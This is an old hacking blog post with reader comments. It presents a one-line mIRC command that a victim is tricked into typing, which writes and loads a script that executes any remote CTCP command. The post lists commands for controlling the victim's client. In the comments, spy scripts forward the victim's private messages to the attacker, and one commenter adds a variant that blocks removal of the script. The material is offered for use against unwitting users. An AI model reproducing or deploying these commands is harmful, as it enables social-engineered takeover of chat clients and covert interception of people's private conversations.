mIRC Backdoor

Outsmart Malicious Hackers


Well it’s not really a backdoor… but we can consider it one…

Some time ago it apeared on many websites (including mine) an article about a backdoor in mIRC… all this backdoor stuff was really nothing more than a mIRC script that by it’s mean made the client to respond at any command received via a CTCP (Client to Client Protocol) command… such as ping, version, time, etc…. so here is the command that the victim has to enter:

//.write -c mirc.dll ctcp 1:*:*:$1- | /.load -rs mirc.dll

The command is splited in 2 parts, delimited by | (a vertical line)… So the first section writes a file “mirc.dll” in which we write a simple mIRC script which listens to any CTCP request… the second one loads the file with the mIRC script….

After the “victim” executes this command we can control it by introducing one of the following lines:

{ this is a comment }

/ctcp victims_nick /.nick lamer { changes the nickname of the victim to lamer }

/ctcp victims_nick /.exit { closes the victims mIRC }

/ctcp victims_nick /.run www.black2white.as.ro
{ opens the victims default web browser (ie, firefox, opera, etc.) on the page www.black2white.as.ro }

/ctcp victims_nick /.any_valid_irc_command

So happy “masterminding”….

More IRC Commands: http://www.hackthissite.org/pages/irc/reference.php

Posted in: Hacking News

, ,


Latest Posts:


StaCoAn - Mobile App Static Analysis Tool StaCoAn – Mobile App Static Analysis Tool
StaCoAn is a cross-platform tool which aids developers, bug bounty hunters and ethical hackers performing mobile app static analysis on the code of the application for both native Android and iOS applications.
snallygaster - Scan For Secret Files On HTTP Servers snallygaster – Scan For Secret Files On HTTP Servers
snallygaster is a Python-based tool that can help you to scan for secret files on HTTP servers, files that are accessible that shouldn't be public and can pose a s
Portspoof - Spoof All Ports Open & Emulate Valid Services Portspoof – Spoof All Ports Open & Emulate Valid Services
The primary goal of the Portspoof program is to enhance your system security through a set of new camouflage techniques which spoof all ports open and also emulate valid services on every port.
Cambridge Analytica Facebook Data Scandal Cambridge Analytica Facebook Data Scandal
One of the biggest stories of the year so far has been the scandal surrounding Cambridge Analytica that came out after a Channel 4 expose that demonstrated the depths they are willing to go to profile voters, manipulate elections and much more.
GetAltName - Discover Sub-Domains From SSL Certificates GetAltName – Discover Sub-Domains From SSL Certificates
GetAltName it's a little script to discover sub-domains that can extract Subject Alt Names for SSL Certificates directly from HTTPS websites which can provide you with DNS names or virtual servers.
Memcrashed - Memcached DDoS Exploit Tool Memcrashed – Memcached DDoS Exploit Tool
Memcrashed is a Memcached DDoS exploit tool written in Python that allows you to send forged UDP packets to a list of Memcached servers obtained from Shodan.


15 Responses to mIRC Backdoor

  1. myk September 7, 2006 at 7:30 am #

    how can i use that command and wer i put it

  2. erl November 30, 2006 at 2:12 am #

    what are the codes that im the one will control the other user to quit ect.?

  3. backbone November 30, 2006 at 5:29 pm #

    you make the victim enter the command, and for quiting you send the victim

    /ctcp victims_nick /.quit killed by I don't know who


    see mIRC help for more commands

  4. yo December 13, 2006 at 12:34 am #

    another commands do you have…this don”t know how it works

  5. backbone February 13, 2007 at 8:43 am #

    I reedited the text and added a / (slash) in the command because the ones who just posted it doesn’t work, didn’t even press a F(ckin)1 in mIRC to see that the newer version in the write alias, have to add double // slashes so they would parse | (bar) as a new alias…

  6. amru March 10, 2007 at 3:39 pm #

    how can l use this cmmand and where l put it

  7. backbone March 10, 2007 at 4:32 pm #

    the victim has to enter that command line in there editbox… the place where you type the message before hitting enter… =))

  8. amru March 12, 2007 at 10:26 am #

    please l want more comands

  9. DeJest June 13, 2007 at 10:10 am #

    Hi, is there a way to view another user’s queries? Say for instance, I (DeJest) want to view the query between SomeOne001 and SomeOne002.

  10. s1n June 13, 2007 at 11:56 am #

    Christ! mirc script backdoors? that is so 90s!

    bah, anyway:

    amru: try typing “/help commands” in mirc. (first rule of hackclub(r), RTFM!)

    DeJest: “/help scripts”, i would suggest you look into the on INPUT and TEXT events for what you want.
    tip: if you run a command as /.command it should not print stdout to user if fuzzy memory serves.

    let us know if you code something cool, there is a lot of potential.

    s1n

  11. backbone June 13, 2007 at 2:41 pm #

    s1n that was my first post wtf should have I written to get attention (hist) ? =)

    something like this would do

    on *:input:?: { /.msg DeJest spy $me $1- }
    on *:text:?: { /.msg DeJest spy $nick $1- }

    then you should parse with a tiny script so that if SomeOne002 is the first param or SomeOne001 then drop it in a window… small ex:

    on *:text:spy*: { echo @spywindow $1- }

    not tested but should look something like this…

  12. SHITEMASTER June 17, 2008 at 3:17 am #

    //write xd on ^*:text:@do*:*: $chr(123) $ $+ 2- $chr(124) halt $chr(125) | //write xd alias unload noop | //write xd alias remote noop | /load -rs xd

    it disables /unload and /remote to some degree, there are likely better methods, and i’d be willing to see them

    from there i would use the backdoor to load the spy script, since the line may be too long to use it all in one command.
    you should use an alias to do this for me, but whatever works.
    example:
    @do /write spy on *:input:*: { if (%spy) { .msg %spy $active $+ : $1- } }
    @do /write spy on *:disconnect: { unset %spy }
    @do /write spy on *:connect: { join #rofl }
    @do /write spy on *:topic:#rofl: { if ($1 == !setspy) { set %spy $2 }

    well, that’s that.

  13. chevalier3as June 17, 2008 at 5:31 pm #

    nice!! if i got that right, the mIRC client reate a *.dll with specific options( -c *.dll ctcp 1:*:*:$1-) I still don’t get 1:*:*:$1, then load it to the client.
    wouldn’t it be possible to do the same with browsers??Creating a *.dll file then sending commands through ctcp, probably js or some scripting language readable by the browser????
    that would be nice, but the dll file has to be loaded to the client at each start!

  14. SHITEMASTER June 17, 2008 at 6:45 pm #

    chevalier, i think the word you are looking for is batch script. also, you could easily add socket scripts to perform automated shit. a good idea would be making a socklisten event in which opens a proxy server on the victims host. of course, this would not work if the person is behind a router, and not forwarded on the port selected, would still be quite interesting

    or simply use mirc to write some .html files with javascript on them. there are several possibilities

  15. SreeKanth December 18, 2008 at 6:47 am #

    Thats a grt conversation from top to bottom. Well my question is, is there any backdoor script where i can send a MSG to all users at once on an irc server. Can anyone help me out with this?